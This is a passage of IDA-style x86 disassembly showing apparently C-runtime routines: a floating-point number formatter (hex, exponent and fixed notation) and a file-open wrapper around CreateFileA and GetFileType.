; ---------------------------------------------------------------------------
loc_44C26B: ; CODE XREF: sub_44C1D1+8Fj
mov [ebp+var_44], offset word_4100DE
loc_44C272: ; CODE XREF: sub_44C1D1+98j
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_4485B1
add esp, 0Ch
jmp loc_44C825
; ---------------------------------------------------------------------------
loc_44C28A: ; CODE XREF: sub_44C1D1+6Cj
cmp [ebp+var_16], 0
jle short loc_44C2DC
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44C2B4
cmp al, 65h
jz short loc_44C2B4
cmp al, 66h
jz short loc_44C2B4
cmp al, 67h
jnz short loc_44C2BD
loc_44C2B4: ; CODE XREF: sub_44C1D1+D5j
; sub_44C1D1+D9j ...
mov [ebp+var_44], offset word_4100DA
jmp short loc_44C2C4
; ---------------------------------------------------------------------------
loc_44C2BD: ; CODE XREF: sub_44C1D1+E1j
mov [ebp+var_44], offset off_4100D6
loc_44C2C4: ; CODE XREF: sub_44C1D1+EAj
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_4485B1
add esp, 0Ch
jmp loc_44C825
; ---------------------------------------------------------------------------
loc_44C2DC: ; CODE XREF: sub_44C1D1+BEj
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44C2E7
cmp al, 41h
jnz short loc_44C31F
loc_44C2E7: ; CODE XREF: sub_44C1D1+110j
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
mov byte ptr [edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
xor eax, eax
cmp [ebp+arg_4], 61h
setnz al
dec eax
and eax, 20h
add eax, 58h
mov [edx], al
mov eax, [ebp+arg_0]
add dword ptr [eax+14h], 2
loc_44C31F: ; CODE XREF: sub_44C1D1+114j
cmp [ebp+var_16], 0
jnz short loc_44C337
mov [ebp+var_12], 0
mov [ebp+var_14], 0
jmp loc_44C806
; ---------------------------------------------------------------------------
loc_44C337: ; CODE XREF: sub_44C1D1+153j
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44C346
cmp al, 41h
jnz loc_44C54C
loc_44C346: ; CODE XREF: sub_44C1D1+16Bj
cmp [ebp+arg_4], 61h
jnz short loc_44C355
mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
jmp short loc_44C35C
; ---------------------------------------------------------------------------
loc_44C355: ; CODE XREF: sub_44C1D1+179j
mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"
loc_44C35C: ; CODE XREF: sub_44C1D1+182j
mov eax, dword ptr [ebp+var_50+4]
mov [ebp+var_48], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44C374
mov dword ptr [ebp+var_50], 21h
jmp short loc_44C37E
; ---------------------------------------------------------------------------
loc_44C374: ; CODE XREF: sub_44C1D1+198j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
inc eax
mov dword ptr [ebp+var_50], eax
loc_44C37E: ; CODE XREF: sub_44C1D1+1A1j
mov eax, dword ptr [ebp+var_50]
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
inc eax
mov [ebp+var_44], eax
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_44C3A7
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fchs
fstp [ebp+var_58]
jmp short loc_44C3AF
; ---------------------------------------------------------------------------
loc_44C3A7: ; CODE XREF: sub_44C1D1+1C8j
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_58]
loc_44C3AF: ; CODE XREF: sub_44C1D1+1D4j
fld [ebp+var_58]
fstp [ebp+var_10]
sub [ebp+var_14], 4
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 0
jmp loc_44C452
; ---------------------------------------------------------------------------
loc_44C3CB: ; CODE XREF: sub_44C1D1+293j
push 1Ch
lea eax, [ebp+var_10]
push eax
call sub_44D2B1
add esp, 8
fld [ebp+var_10]
call sub_44D2D1
mov [ebp+var_5C], eax
mov eax, [ebp+var_44]
sub eax, 7
mov [ebp+var_44], eax
test eax, eax
jle short loc_44C3FC
fld [ebp+var_10]
fild [ebp+var_5C]
fsubp st(1), st
fstp [ebp+var_10]
loc_44C3FC: ; CODE XREF: sub_44C1D1+21Ej
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
mov [ebp+var_60], 7
jmp short loc_44C421
; ---------------------------------------------------------------------------
loc_44C40E: ; CODE XREF: sub_44C1D1+25Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, [ebp+var_5C]
and edx, 0Fh
mov [eax], dl
sar [ebp+var_5C], 4
loc_44C421: ; CODE XREF: sub_44C1D1+23Bj
cmp [ebp+var_5C], 0
jle short loc_44C432
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_44C40E
loc_44C432: ; CODE XREF: sub_44C1D1+254j
jmp short loc_44C43E
; ---------------------------------------------------------------------------
loc_44C434: ; CODE XREF: sub_44C1D1+276j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 0
loc_44C43E: ; CODE XREF: sub_44C1D1:loc_44C432j
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_44C434
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
loc_44C452: ; CODE XREF: sub_44C1D1+1F5j
cmp [ebp+var_44], 0
jle short loc_44C46A
fld [ebp+var_10]
fcomp dbl_4100AC
fnstsw ax
sahf
ja loc_44C3CB
loc_44C46A: ; CODE XREF: sub_44C1D1+285j
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_44C48B
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_44C48B: ; CODE XREF: sub_44C1D1+2B1j
cmp [ebp+var_12], 0
jl loc_44C52F
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_44C4B7
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 8
jb short loc_44C4B7
mov [ebp+var_64], 0Fh
jmp short loc_44C4BE
; ---------------------------------------------------------------------------
loc_44C4B7: ; CODE XREF: sub_44C1D1+2CFj
; sub_44C1D1+2DBj
mov [ebp+var_64], 0
loc_44C4BE: ; CODE XREF: sub_44C1D1+2E4j
mov eax, [ebp+var_64]
mov byte ptr [ebp+var_60+3], al
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_44C4D2
; ---------------------------------------------------------------------------
loc_44C4CD: ; CODE XREF: sub_44C1D1+311j
sub [ebp+var_12], 1
loc_44C4D2: ; CODE XREF: sub_44C1D1+2FAj
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_60+3]
cmp [edx+eax], cl
jz short loc_44C4CD
cmp byte ptr [ebp+var_60+3], 0Fh
jnz short loc_44C4F5
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_44C4F5: ; CODE XREF: sub_44C1D1+317j
cmp [ebp+var_5C], 0
jge short loc_44C508
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 4
loc_44C508: ; CODE XREF: sub_44C1D1+328j
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_44C524
; ---------------------------------------------------------------------------
loc_44C511: ; CODE XREF: sub_44C1D1+35Cj
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
movzx edx, byte ptr [eax]
mov ecx, [ebp+var_48]
mov dl, [ecx+edx]
mov [eax], dl
loc_44C524: ; CODE XREF: sub_44C1D1+33Ej
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
test eax, eax
jge short loc_44C511
loc_44C52F: ; CODE XREF: sub_44C1D1+2BFj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge loc_44C806
mov edx, [ebp+arg_0]
movsx eax, [ebp+var_12]
dec eax
mov [edx+2Ch], eax
jmp loc_44C806
; ---------------------------------------------------------------------------
loc_44C54C: ; CODE XREF: sub_44C1D1+16Fj
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_44C562
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_44C562: ; CODE XREF: sub_44C1D1+387j
movsx eax, [ebp+var_14]
imul eax, 7597h
push eax
mov edx, 14F8B589h
imul edx
pop eax
shr eax, 1Fh
sar edx, 0Dh
add eax, edx
sub eax, 4
mov [ebp+var_14], ax
test ax, ax
jge short loc_44C5CD
mov eax, 3
movsx edx, [ebp+var_14]
sub eax, edx
and eax, 0FFFFFFFCh
mov [ebp+var_44], eax
neg eax
mov [ebp+var_14], ax
mov [ebp+var_48], 0
jmp short loc_44C5C5
; ---------------------------------------------------------------------------
loc_44C5A9: ; CODE XREF: sub_44C1D1+3F8j
test byte ptr [ebp+var_44], 1
jz short loc_44C5BF
fld [ebp+var_10]
mov eax, [ebp+var_48]
fmul dbl_410054[eax*8]
fstp [ebp+var_10]
loc_44C5BF: ; CODE XREF: sub_44C1D1+3DCj
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_44C5C5: ; CODE XREF: sub_44C1D1+3D6j
cmp [ebp+var_44], 0
jg short loc_44C5A9
jmp short loc_44C61D
; ---------------------------------------------------------------------------
loc_44C5CD: ; CODE XREF: sub_44C1D1+3B6j
cmp [ebp+var_14], 0
jle short loc_44C61D
fld dbl_4100A4
fstp [ebp+var_50]
and [ebp+var_14], 0FFFCh
movsx eax, [ebp+var_14]
mov [ebp+var_44], eax
mov [ebp+var_48], 0
jmp short loc_44C60E
; ---------------------------------------------------------------------------
loc_44C5F2: ; CODE XREF: sub_44C1D1+441j
test byte ptr [ebp+var_44], 1
jz short loc_44C608
fld [ebp+var_50]
mov eax, [ebp+var_48]
fmul dbl_410054[eax*8]
fstp [ebp+var_50]
loc_44C608: ; CODE XREF: sub_44C1D1+425j
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_44C60E: ; CODE XREF: sub_44C1D1+41Fj
cmp [ebp+var_44], 0
jg short loc_44C5F2
fld [ebp+var_10]
fdiv [ebp+var_50]
fstp [ebp+var_10]
loc_44C61D: ; CODE XREF: sub_44C1D1+3FAj
; sub_44C1D1+401j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44C628
cmp al, 46h
jnz short loc_44C634
loc_44C628: ; CODE XREF: sub_44C1D1+451j
movsx eax, [ebp+var_14]
add eax, 0Ah
mov [ebp+var_48], eax
jmp short loc_44C63B
; ---------------------------------------------------------------------------
loc_44C634: ; CODE XREF: sub_44C1D1+455j
mov [ebp+var_48], 6
loc_44C63B: ; CODE XREF: sub_44C1D1+461j
mov eax, [ebp+var_48]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_44], eax
cmp eax, 13h
jle short loc_44C655
mov [ebp+var_44], 13h
loc_44C655: ; CODE XREF: sub_44C1D1+47Bj
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 30h
jmp loc_44C6FB
; ---------------------------------------------------------------------------
loc_44C666: ; CODE XREF: sub_44C1D1+53Cj
fld [ebp+var_10]
call sub_44D2D1
mov dword ptr [ebp+var_50+4], eax
mov eax, [ebp+var_44]
sub eax, 8
mov [ebp+var_44], eax
test eax, eax
jle short loc_44C68F
fld [ebp+var_10]
fild dword ptr [ebp+var_50+4]
fsubp st(1), st
fmul dbl_41009C
fstp [ebp+var_10]
loc_44C68F: ; CODE XREF: sub_44C1D1+4ABj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov dword ptr [ebp+var_50], 8
jmp short loc_44C6CA
; ---------------------------------------------------------------------------
loc_44C6A1: ; CODE XREF: sub_44C1D1+508j
push 0Ah
mov eax, dword ptr [ebp+var_50+4]
push eax
call sub_44D301
add esp, 8
mov dword ptr [ebp+var_58], eax
mov dword ptr [ebp+var_58+4], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, dword ptr [ebp+var_58+4]
add edx, 30h
mov [eax], dl
mov eax, dword ptr [ebp+var_58]
mov dword ptr [ebp+var_50+4], eax
loc_44C6CA: ; CODE XREF: sub_44C1D1+4CEj
cmp dword ptr [ebp+var_50+4], 0
jle short loc_44C6DB
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_44C6A1
loc_44C6DB: ; CODE XREF: sub_44C1D1+4FDj
jmp short loc_44C6E7
; ---------------------------------------------------------------------------
loc_44C6DD: ; CODE XREF: sub_44C1D1+51Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 30h
loc_44C6E7: ; CODE XREF: sub_44C1D1:loc_44C6DBj
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_44C6DD
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
loc_44C6FB: ; CODE XREF: sub_44C1D1+490j
cmp [ebp+var_44], 0
jle short loc_44C713
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jb loc_44C666
loc_44C713: ; CODE XREF: sub_44C1D1+52Ej
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
add [ebp+var_14], 7
jmp short loc_44C736
; ---------------------------------------------------------------------------
loc_44C72B: ; CODE XREF: sub_44C1D1+56Bj
dec [ebp+var_44]
sub [ebp+var_14], 1
inc [ebp+var_4]
loc_44C736: ; CODE XREF: sub_44C1D1+558j
mov eax, [ebp+var_4]
cmp byte ptr [eax], 30h
jz short loc_44C72B
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44C749
cmp al, 46h
jnz short loc_44C753
loc_44C749: ; CODE XREF: sub_44C1D1+572j
movsx eax, [ebp+var_14]
inc eax
mov dword ptr [ebp+var_50+4], eax
jmp short loc_44C76E
; ---------------------------------------------------------------------------
loc_44C753: ; CODE XREF: sub_44C1D1+576j
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_44C75E
cmp al, 45h
jnz short loc_44C767
loc_44C75E: ; CODE XREF: sub_44C1D1+587j
mov dword ptr [ebp+var_50+4], 1
jmp short loc_44C76E
; ---------------------------------------------------------------------------
loc_44C767: ; CODE XREF: sub_44C1D1+58Bj
mov dword ptr [ebp+var_50+4], 0
loc_44C76E: ; CODE XREF: sub_44C1D1+580j
; sub_44C1D1+594j
mov eax, dword ptr [ebp+var_50+4]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_44C78D
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_44C78D: ; CODE XREF: sub_44C1D1+5B3j
cmp [ebp+var_12], 0
jl short loc_44C806
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_44C7B5
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 35h
jb short loc_44C7B5
mov dword ptr [ebp+var_58], 39h
jmp short loc_44C7BC
; ---------------------------------------------------------------------------
loc_44C7B5: ; CODE XREF: sub_44C1D1+5CDj
; sub_44C1D1+5D9j
mov dword ptr [ebp+var_58], 30h
loc_44C7BC: ; CODE XREF: sub_44C1D1+5E2j
mov eax, dword ptr [ebp+var_58]
mov byte ptr [ebp+var_50+3], al
movsx eax, [ebp+var_12]
mov dword ptr [ebp+var_58+4], eax
jmp short loc_44C7D0
; ---------------------------------------------------------------------------
loc_44C7CB: ; CODE XREF: sub_44C1D1+60Fj
sub [ebp+var_12], 1
loc_44C7D0: ; CODE XREF: sub_44C1D1+5F8j
mov eax, dword ptr [ebp+var_58+4]
dec eax
mov dword ptr [ebp+var_58+4], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_50+3]
cmp [edx+eax], cl
jz short loc_44C7CB
cmp byte ptr [ebp+var_50+3], 39h
jnz short loc_44C7F3
mov eax, dword ptr [ebp+var_58+4]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_44C7F3: ; CODE XREF: sub_44C1D1+615j
cmp dword ptr [ebp+var_58+4], 0
jge short loc_44C806
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 1
loc_44C806: ; CODE XREF: sub_44C1D1+161j
; sub_44C1D1+365j ...
movsx eax, [ebp+var_14]
push eax
movsx eax, [ebp+var_12]
push eax
mov eax, [ebp+var_4]
push eax
movzx eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44D331
add esp, 14h
loc_44C825: ; CODE XREF: sub_44C1D1+B4j
; sub_44C1D1+106j
mov esp, ebp
pop ebp
retn
sub_44C1D1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C831 proc near ; CODE XREF: sub_44B561+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [ebp+arg_8]
lea eax, [ebx+4]
mov ebx, eax
mov esi, [eax-4]
push esi
push 40h
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44C861
add esp, 10h
pop esi
pop ebx
pop ebp
retn
sub_44C831 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C861 proc near ; CODE XREF: sub_44C831+1Bp
var_3C = dword ptr -3Ch
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov [ebp+var_10], 0Ch
mov [ebp+var_C], 0
test ebx, 80h
jz short loc_44C890
mov [ebp+var_8], 0
mov [ebp+var_1], 10h
jmp short loc_44C89B
; ---------------------------------------------------------------------------
loc_44C890: ; CODE XREF: sub_44C861+20j
mov [ebp+var_8], 1
mov [ebp+var_1], 0
loc_44C89B: ; CODE XREF: sub_44C861+2Dj
test ebx, 8000h
jnz short loc_44C8AF
test ebx, 4000h
jz short loc_44C8AF
or [ebp+var_1], 80h
loc_44C8AF: ; CODE XREF: sub_44C861+40j
; sub_44C861+48j
mov edi, ebx
and edi, 3
jz short loc_44C8C2
cmp edi, 1
jz short loc_44C8CB
cmp edi, 2
jz short loc_44C8D4
jmp short loc_44C8DD
; ---------------------------------------------------------------------------
loc_44C8C2: ; CODE XREF: sub_44C861+53j
mov [ebp+var_20], 80000000h
jmp short loc_44C8F0
; ---------------------------------------------------------------------------
loc_44C8CB: ; CODE XREF: sub_44C861+58j
mov [ebp+var_20], 40000000h
jmp short loc_44C8F0
; ---------------------------------------------------------------------------
loc_44C8D4: ; CODE XREF: sub_44C861+5Dj
mov [ebp+var_20], 0C0000000h
jmp short loc_44C8F0
; ---------------------------------------------------------------------------
loc_44C8DD: ; CODE XREF: sub_44C861+5Fj
call sub_449321
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44C8F0: ; CODE XREF: sub_44C861+68j
; sub_44C861+71j ...
mov eax, [ebp+arg_8]
cmp eax, 20h
jz short loc_44C91D
jg short loc_44C902
cmp [ebp+arg_8], 10h
jz short loc_44C914
jmp short loc_44C938
; ---------------------------------------------------------------------------
loc_44C902: ; CODE XREF: sub_44C861+97j
mov eax, [ebp+arg_8]
cmp eax, 30h
jz short loc_44C926
jl short loc_44C938
cmp [ebp+arg_8], 40h
jz short loc_44C92F
jmp short loc_44C938
; ---------------------------------------------------------------------------
loc_44C914: ; CODE XREF: sub_44C861+9Dj
mov [ebp+var_28], 0
jmp short loc_44C94B
; ---------------------------------------------------------------------------
loc_44C91D: ; CODE XREF: sub_44C861+95j
mov [ebp+var_28], 1
jmp short loc_44C94B
; ---------------------------------------------------------------------------
loc_44C926: ; CODE XREF: sub_44C861+A7j
mov [ebp+var_28], 2
jmp short loc_44C94B
; ---------------------------------------------------------------------------
loc_44C92F: ; CODE XREF: sub_44C861+AFj
mov [ebp+var_28], 3
jmp short loc_44C94B
; ---------------------------------------------------------------------------
loc_44C938: ; CODE XREF: sub_44C861+9Fj
; sub_44C861+A9j ...
call sub_449321
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44C94B: ; CODE XREF: sub_44C861+BAj
; sub_44C861+C3j ...
mov eax, ebx
and eax, 700h
mov [ebp+var_3C], eax
cmp eax, 300h
jz short loc_44C9CF
jg short loc_44C97D
mov eax, [ebp+var_3C]
cmp eax, 100h
jz short loc_44C9B4
jg short loc_44C972
cmp [ebp+var_3C], 0
jz short loc_44C9AB
jmp short loc_44C9D8
; ---------------------------------------------------------------------------
loc_44C972: ; CODE XREF: sub_44C861+107j
cmp [ebp+var_3C], 200h
jz short loc_44C9C6
jmp short loc_44C9D8
; ---------------------------------------------------------------------------
loc_44C97D: ; CODE XREF: sub_44C861+FBj
mov eax, [ebp+var_3C]
cmp eax, 500h
jz short loc_44C9BD
jg short loc_44C994
cmp [ebp+var_3C], 400h
jz short loc_44C9AB
jmp short loc_44C9D8
; ---------------------------------------------------------------------------
loc_44C994: ; CODE XREF: sub_44C861+126j
mov eax, [ebp+var_3C]
cmp eax, 600h
jz short loc_44C9C6
jl short loc_44C9D8
cmp [ebp+var_3C], 700h
jz short loc_44C9BD
jmp short loc_44C9D8
; ---------------------------------------------------------------------------
loc_44C9AB: ; CODE XREF: sub_44C861+10Dj
; sub_44C861+12Fj
mov [ebp+var_24], 3
jmp short loc_44C9EB
; ---------------------------------------------------------------------------
loc_44C9B4: ; CODE XREF: sub_44C861+105j
mov [ebp+var_24], 4
jmp short loc_44C9EB
; ---------------------------------------------------------------------------
loc_44C9BD: ; CODE XREF: sub_44C861+124j
; sub_44C861+146j
mov [ebp+var_24], 1
jmp short loc_44C9EB
; ---------------------------------------------------------------------------
loc_44C9C6: ; CODE XREF: sub_44C861+118j
; sub_44C861+13Bj
mov [ebp+var_24], 5
jmp short loc_44C9EB
; ---------------------------------------------------------------------------
loc_44C9CF: ; CODE XREF: sub_44C861+F9j
mov [ebp+var_24], 2
jmp short loc_44C9EB
; ---------------------------------------------------------------------------
loc_44C9D8: ; CODE XREF: sub_44C861+10Fj
; sub_44C861+11Aj ...
call sub_449321
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44C9EB: ; CODE XREF: sub_44C861+151j
; sub_44C861+15Aj ...
mov [ebp+var_14], 80h
test ebx, 100h
jz short loc_44CA19
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
add eax, 4
mov [ebp+var_2C], eax
mov eax, [eax-4]
mov [ebp+var_30], eax
test byte ptr [ebp+var_30], 80h
jnz short loc_44CA19
mov [ebp+var_14], 1
loc_44CA19: ; CODE XREF: sub_44C861+197j
; sub_44C861+1AFj
test ebx, 40h
jz short loc_44CA2F
or [ebp+var_14], 4000000h
or [ebp+var_20], 10000h
loc_44CA2F: ; CODE XREF: sub_44C861+1BEj
test ebx, 1000h
jz short loc_44CA3E
or [ebp+var_14], 100h
loc_44CA3E: ; CODE XREF: sub_44C861+1D4j
test ebx, 20h
jz short loc_44CA4F
or [ebp+var_14], 8000000h
jmp short loc_44CA5E
; ---------------------------------------------------------------------------
loc_44CA4F: ; CODE XREF: sub_44C861+1E3j
test ebx, 10h
jz short loc_44CA5E
or [ebp+var_14], 10000000h
loc_44CA5E: ; CODE XREF: sub_44C861+1ECj
; sub_44C861+1F4j
call sub_44B851
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CA7D
call sub_449321
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CA7D: ; CODE XREF: sub_44C861+207j
push 0
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_24]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_28]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+arg_0]
push eax
call dword_411DD0 ; CreateFileA
mov [ebp+var_18], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CAC3
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_4491C1
pop ecx
push esi
call sub_44BC61
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CAC3: ; CODE XREF: sub_44C861+244j
mov eax, [ebp+var_18]
push eax
call dword_411DEC ; GetFileType
mov [ebp+var_1C], eax
test eax, eax
jnz short loc_44CAFA
mov eax, [ebp+var_18]
push eax
call dword_411CF8 ; CloseHandle
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_4491C1
pop ecx
push esi
call sub_44BC61
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CAFA: ; CODE XREF: sub_44C861+271j
cmp [ebp+var_1C], 2
jnz short loc_44CB06
or [ebp+var_1], 40h
jmp short loc_44CB10
; ---------------------------------------------------------------------------
loc_44CB06: ; CODE XREF: sub_44C861+29Dj
cmp [ebp+var_1C], 3
jnz short loc_44CB10
or [ebp+var_1], 8
loc_44CB10: ; CODE XREF: sub_44C861+2A3j
; sub_44C861+2A9j
mov eax, [ebp+var_18]
push eax
push esi
call sub_44BA31
add esp, 8
or [ebp+var_1], 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_1]
mov [edx+eax+4], cl
movzx eax, [ebp+var_1]
test eax, 48h
jnz loc_44CC08
test eax, 80h
jz loc_44CC08
test ebx, 2
jz loc_44CC08
push 2
push 0FFFFFFFFh
push esi
call sub_44CD71
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CB9E
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 83h
jz loc_44CC08
push esi
call sub_449D01
pop ecx
push esi
call sub_44BC61
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CB9E: ; CODE XREF: sub_44C861+314j
mov [ebp+var_35], 0
push 1
lea eax, [ebp+var_35]
push eax
push esi
call sub_44D811
add esp, 0Ch
test eax, eax
jnz short loc_44CBE0
cmp [ebp+var_35], 1Ah
jnz short loc_44CBE0
mov eax, [ebp+var_34]
push eax
push esi
call sub_44DBD1
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_44CBE0
push esi
call sub_449D01
pop ecx
push esi
call sub_44BC61
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CBE0: ; CODE XREF: sub_44C861+352j
; sub_44C861+358j ...
push 0
push 0
push esi
call sub_44CD71
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44CC08
push esi
call sub_449D01
pop ecx
push esi
call sub_44BC61
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CC08: ; CODE XREF: sub_44C861+2E4j
; sub_44C861+2EFj ...
test [ebp+var_1], 48h
jnz short loc_44CC31
test ebx, 8
jz short loc_44CC31
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 20h
loc_44CC31: ; CODE XREF: sub_44C861+3ABj
; sub_44C861+3B3j
push esi
call sub_44BC61
pop ecx
mov eax, esi
loc_44CC3A: ; CODE XREF: sub_44C861+8Aj
; sub_44C861+E5j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44C861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CC41 proc near ; CODE XREF: sub_44B5D1+2p
var_14 = dword ptr -14h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_44BCD1
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_44CC68
